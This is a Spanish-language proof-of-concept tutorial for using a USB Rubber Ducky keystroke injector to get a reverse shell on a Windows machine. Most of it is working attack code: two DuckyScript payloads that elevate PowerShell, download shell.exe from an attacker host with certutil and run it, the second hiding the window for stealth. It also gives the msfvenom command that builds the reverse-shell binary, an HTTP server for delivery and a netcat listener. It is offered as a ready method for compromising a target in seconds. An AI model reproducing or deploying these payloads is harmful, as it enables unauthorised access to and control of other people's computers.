POC Rubber Ducky Rev Shell

Rubber Ducky Rev Shell

Untitled

Buenas! Hoy os voy a compartir como utilizar una herramienta de Hak5, aunque también se puede hacer de forma casera, en mi caso es el RubberDucky de Hak5.

Imagínese enchufar una unidad USB aparentemente inocente en una computadora e instalar puertas traseras, filtrar documentos o capturar credenciales.

El USB Rubber Ducky inyecta pulsaciones de teclas a velocidades sobrehumanas, violando la confianza inherente que las computadoras tienen en los humanos al hacerse pasar por un teclado.

Mencionar algunos ataques brevemente:

  • Recolección de información del sistema operativo.
  • Robar información importante de los navegadores de Internet.
  • Robar y usar las cookies de las sesiones abiertas.
  • Hacer capturas de pantalla del escritorio y carpetas importantes del sistema.
  • Robar y utilizar las contraseñas de las conexiones WiFi de la víctima.
  • Subir la información a traves un servidor FTP.

Ataques dirigidos al sistema:

  • Agregar usuarios con permisos administrativos al equipo de la víctima.
  • Borrar usuarios del sistema.
  • Hacer Pharming de DNS.
  • Infección del sistema descargando y ejecutando un binario de Internet.
  • Crackear passwords del administrador en el sistema.
  • Crear un Backdoor WiFi.
  • Bloquear programas en el sistema operativo de forma sigilosa.

Despues de esta breve introduccion, vamos a lo que nos interesa, ¿Cómo se pone en marcha este dispositivo?

El RubberDucky se compone de estos elementos:

Untitled

El 1º elemento es una tarjeta MicroSD de 128mb en este caso

El 2º elemento es el dispositivo que voy a usar para controlar los archivos que quiero meter en la tarjeta MicroSD

El 3º elemento es el RubberDucky desenfundado, una vez que este todo listo metemos la tarjeta en el Rubberducky y ya esta listo para la acción.

Su uso es muy sencillo, os lo voy a explicar en los siguientes pasos:

1º Paso

En este caso voy a programar una reverse shell a mi equipo en el Rubberducky, por lo que nos iremos a la pagina → https://ducktoolkit.com/encode#

Y programaremos los comandos que se van a ejecutar cuando ingresemos el RubberDucky:

Untitled

En la primera parte ingresaremos nuestro código:

DELAY 750
GUI r
DELAY 1000
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 750
STRING certutil.exe -urlcache -f http://192.168.234.130/shell.exe C:\Windows\Temp\shell.exe
ENTER
DELAY 500
STRING Start-Process -FilePath "C:\Windows\Temp\shell.exe"
ENTER

Con DELAY → Hacemos que el programa espere cierta cantidad de tiempo

Con GUI r → Seria el equivalente a Windows + R

Con STRING → Le decimos que comando queremos escribir

Con Enter → Hace la función de la tecla ↲

Una vez terminado el script, seleccionamos el idioma

Le damos a Encode Payload

Y nos lo descargamos

2º Paso

En nuestra maquina atacante nos crearemos el binario malicioso, en este caso con la herramienta msfvenom

msfvenom -p windows/shell_reverse_tcp lhost=192.168.234.130 lport=443 -f exe > shell.exe

root@kali /home/kali/Desktop/POCRubberDucky
❯ msfvenom -p windows/shell_reverse_tcp lhost=192.168.234.130 lport=443 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

Nos compartimos un servidor http con python y nos ponemos en escucha con netcat

root@kali /home/kali/Desktop/POCRubberDucky
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

─────────────────────────────────────────────────────────────────────────────────────────────
root@kali /home/kali/Desktop/POCRubberDucky
❯ rlwrap nc -nlvp 443                  
listening on [any] 443 ...

3º Paso

Meter el inject.bin descargado en la MicroSD

Untitled

Sacamos la MicroSD y la metemos en el RubberDucky:

Untitled

4º Paso

Metemos el RubberDucky al sistema Windows que queremos vulnerar:

De esta forma conseguimos ganar acceso a un sistema en tan solo 10 segundos.

Pero si os dais cuenta, en el sistema Windows se quedan las terminales abiertas y se ven como se ejecutan los comandos, una forma mas sigilosa y mas rapida seria programar el script de esta forma:

DELAY 750
GUI r
DELAY 500
STRING powershell Start-Process powershell -Verb runAs
ENTER
ALT y
DELAY 400
ENTER
ALT SPACE
DELAY 300
STRING m
DELAY 300
DOWNARROW
REPEAT 100
ENTER
STRING certutil.exe -urlcache -f http://192.168.234.130/shell.exe C:\Windows\Temp\shell.exe
ENTER
DELAY 300
STRING Start-Process -FilePath "C:\Windows\Temp\shell.exe"
ENTER
STRING exit
ENTER

Untitled

Se ejecutaría de esta forma:

Como vemos es una herramienta muy sencilla de utilizar, espero que os haya gustado, si veo que a la gente le gusta quizás traiga otros scripts mas adelante.